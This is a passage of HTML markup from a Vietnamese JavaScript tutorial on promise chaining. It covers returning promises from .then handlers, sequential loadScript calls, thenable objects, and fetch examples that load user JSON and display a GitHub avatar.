class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// (*)</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span>result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (**)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span>result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với <code>.then</code> đầu tiên, giá trị hiển thị là <code>1</code> và trả về <code>new Promise(…)</code> tại dòng <code>(*)</code>. Sau 1 giây, promise được giải quyết và kết quả (đối số của <code>resolve</code>, ở đây là <code>result * 2</code>) được chuyển cho <code>.then</code> tiếp theo. Trình xử lý đó nằm tại dòng <code>(**)</code>, và kết quả hiển thị là <code>2</code> rồi lặp lại tương tự...</p> <p>Vì vậy, kết quả thu được giống như ví dụ trước: <code>1 → 2 → 4</code>, nhưng bây giờ với độ trễ 1 giây giữa các lệnh <code>console.log</code>.</p> <p>Việc trả về promise cho phép bạn xây dựng chuỗi các hành động không đồng bộ.</p> <h2 id="ví-dụ-loadscript" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-loadscript" aria-label="ví dụ loadscript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ "loadScript"</h2> <p>Hãy sử dụng promise chaining vào hàm <code>loadScript</code>, được định nghĩa trong bài về <a href="/callback-la-gi-callback-trong-javascript/">callback</a>, để tải từng tập lệnh theo trình tự:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"one.js"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"two.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"three.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code này có thể ngắn hơn một chút với cách sử dụng <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"one.js"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"two.js"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"three.js"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, mỗi lần gọi <code>loadScript</code> đều trả về một promise. Và lệnh <code>.then</code> tiếp theo sẽ chạy khi promise được giải quyết, sau đó, bắt đầu tải tập lệnh tiếp theo. Vì vậy, các tập lệnh được tải lần lượt.</p> <p>Mình có thể thêm nhiều hành động không đồng bộ hơn vào chuỗi mà đoạn code vẫn "phẳng" - tiếp tục phát triển xuống phía dưới, không phải ở bên phải giống như <strong>callback hell</strong>.</p> <p>Về cơ bản, mình có thể thêm <code>.then</code> trực tiếp vào từng <code>loadScript</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"one.js"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script1</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"two.js"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script2</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">loadScript</span><span class="token punctuation">(</span><span class="token string">"three.js"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">script3</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// gọi các hàm được định nghĩa trong script1, script2, script3</span> <span class="token function">one</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">three</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên thực hiện tương tự: <strong>tải 3 tập lệnh theo thứ tự</strong>. Nhưng cấu trúc code lại "phát triển sang bên phải" - tương tự như <strong>callback hell</strong>. Do đó, đây không phải cách viết code hợp lý.</p> <p>Đôi khi, bạn có thể viết <code>.then</code> trực tiếp vì hàm lồng nhau có quyền truy cập vào phạm vi bên ngoài. Trong ví dụ trên, lệnh callback <strong>sâu nhất</strong> có quyền truy cập vào tất cả các biến/hàm ở <code>script1</code>, <code>script2</code>, <code>script3</code>.</p> <p>Nhưng đó là một ngoại lệ hơn là một quy tắc.</p> <h2 id="đối-tượng-thenable" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-thenable" aria-label="đối tượng thenable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng "Thenable"</h2> <p>Thực tế, trình xử lý <code>.then</code> có thể không trả về promise, mà là đối tượng "thenable" - đối tượng tùy ý có phương thức <code>.then</code>. Khi đó, đối tượng <strong>thenable</strong> được đối xử giống như promise.</p> <p>Ý tưởng là các thư viện của bên thứ 3 có thể triển khai các đối tượng "tương thích với Promise" của riêng họ. Chúng có thể là tập hợp các phương thức mở rộng, nhưng cũng phải tương thích với các promise vì chúng thực thi <code>.then</code>.</p> <p>Đây là ví dụ về đối tượng <strong>thenable</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Thenable</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>num <span class="token operator">=</span> num<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>resolve<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// function() { native code }</span> <span class="token comment">// resolve với this.num*2 sau 1 giây</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>num <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (**)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Thenable</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị 2 sau 1000ms</span></code></pre></div> <p>JavaScript kiểm tra đối tượng được <code>.then</code> trả về theo dòng <code>(*)</code>:</p> <ul> <li>Nếu đối tượng đó có một phương thức <strong>có thể gọi</strong> được đặt tên là <code>then</code> thì JavaScript sẽ gọi phương thức đó với các hàm <code>resolve</code>, <code>reject</code> dưới dạng đối số và đợi đến khi một trong hai hàm được gọi.</li> <li>Trong ví dụ trên, <code>resolve(2)</code> được gọi sau 1 giây <code>(**)</code>.</li> <li>Sau đó, kết quả được chuyển tiếp xuống chuỗi promise.</li> </ul> <p>Tính năng này cho phép tích hợp các đối tượng tùy chỉnh với chuỗi promise mà không cần phải kế thừa từ <code>Promise</code>.</p> <h2 id="ví-dụ-về-fetch" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-v%E1%BB%81-fetch" aria-label="ví dụ về fetch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ về "fetch"</h2> <p>Trong lập trình web frontend, các promise thường được sử dụng cho các request lên server. Vì vậy, hãy xem ví dụ mở rộng về điều đó.</p> <p>Mình sẽ sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch">fetch</a> để tải thông tin về người dùng từ server. Phương thức này có rất nhiều tham số tùy chọn, nhưng cú pháp cơ bản khá đơn giản:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token function">fetch</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên thực hiện một request đến <code>url</code> và trả về promise. Promise resolve bằng đối tượng <code>response</code> khi server phản hồi với các <strong>header</strong>, trước khi phản hồi đầy đủ được tải xuống.</p> <p>Để đọc response đầy đủ, bạn nên gọi phương thức <code>response.text()</code> - trả về một promise sẽ resolve toàn bộ nội dung response mà server trả về dưới dạng text.</p> <p>Đoạn code dưới đây thực hiện yêu cầu tới <code>user.json</code> và tải về toàn bộ giá trị text từ server:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// .then chạy và trả về response từ server</span> <span class="token comment">// response.text() trả về một promise với toàn bộ response dạng text</span> <span class="token keyword">return</span> response<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nội dung của response</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"name": "lampham", "isAdmin": true}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đối tượng <code>response</code> được trả về từ <code>fetch</code> cũng bao gồm phương thức <code>response.json()</code> - đọc dữ liệu và phân tích cú pháp dưới dạng JSON. Trong trường hợp trên, điều đó là thuận tiện hơn, vì vậy hãy chuyển sang phương thức này.</p> <p>Mình cũng sẽ sử dụng các <strong>hàm mũi tên</strong> cho ngắn gọn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// tương tự nhưng response.json() parse response dưới dạng JSON</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lampham</span></code></pre></div> <p>Bây giờ, bạn hãy làm điều gì đó với dữ liệu đã tải về.</p> <p>Ví dụ, mình có thể thực hiện thêm một yêu cầu tới GitHub, tải hồ sơ người dùng và hiển thị hình đại diện:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span> <span class="token comment">// load dữ liệu dạng json</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment">// request lên GitHub</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.github.com/users/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>user<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment">// load dữ liệu dạng json</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment">// hiển thị avatar (githubUser.avatar_url) trong 3 giây</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">githubUser</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> img <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"img"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> img<span class="token punctuation">.</span>src <span class="token operator">=</span> githubUser<span class="token punctuation">.</span>avatar_url<span class="token punctuation">;</span> img<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">"promise-avatar-example"</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>img<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> img<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên hoạt động. Tuy nhiên lại có vấn đề đặt ra ở đây.</p> <p>Tại dòng <code>(*)</code>, nếu bạn cần phải làm gì đó, <strong>sau khi</strong> hình đại diện đã hiển thị xong và bị xóa. Bạn sẽ làm thế nào?</p> <p>Giả sử, mình muốn hiển thị biểu mẫu để chỉnh sửa thông tin người dùng đó,... Và như đoạn code trên thì rõ ràng là không có cách nào.</p> <p>Để làm cho chuỗi promise có thể mở rộng, mình cần phải trả lại promise - sẽ <strong>resolve</strong> khi hình đại diện hiển thị xong, như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.github.com/users/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>user<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">githubUser</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (*)</span> <span class="token keyword">let</span> img <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"img"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> img<span class="token punctuation">.</span>src <span class="token operator">=</span> githubUser<span class="token punctuation">.</span>avatar_url<span class="token punctuation">;</span> img<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">"promise-avatar-example"</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>img<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> img<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resolve</span><span class="token punctuation">(</span>githubUser<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (**)</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token comment">// được gọi sau 3 giây</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">githubUser</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Finished showing </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>githubUser<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên có nghĩa là, trình xử lý <code>.then</code> tại dòng <code>(*)</code> trả lại <code>new Promise</code>. Khi <code>resolve(githubUser)</code> trong <code>setTimeout</code> tại <code>(**)</code> được gọi sau 3 giây thì promise được resolve. Sau đó, <code>.then</code> trong chuỗi promise tiếp tục thực hiện.</p> <p>Như vậy, một hành động không đồng bộ <strong>nên luôn trả về promise</strong>. Điều này giúp bạn lập kế hoạch các hành động sau đó dễ dàng hơn. Ngay cả khi bạn không có kế hoạch mở rộng chuỗi promise ngay bây giờ, bạn vẫn có thể cần sử dụng về sau.</p> <p>Cuối cùng, bạn nên chia code thành các hàm có thể dùng lại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">loadJson</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">fetch</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">loadGithubUser</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">loadJson</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.github.com/users/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">showAvatar</span><span class="token punctuation">(</span><span class="token parameter">githubUser</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> img <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"img"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> img<span class="token punctuation">.</span>src <span class="token operator">=</span> githubUser<span class="token punctuation">.</span>avatar_url<span class="token punctuation">;</span> img<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">"promise-avatar-example"</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>img<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> img<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resolve</span><span class="token punctuation">(</span>githubUser<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token function">loadJson</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">loadGithubUser</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token 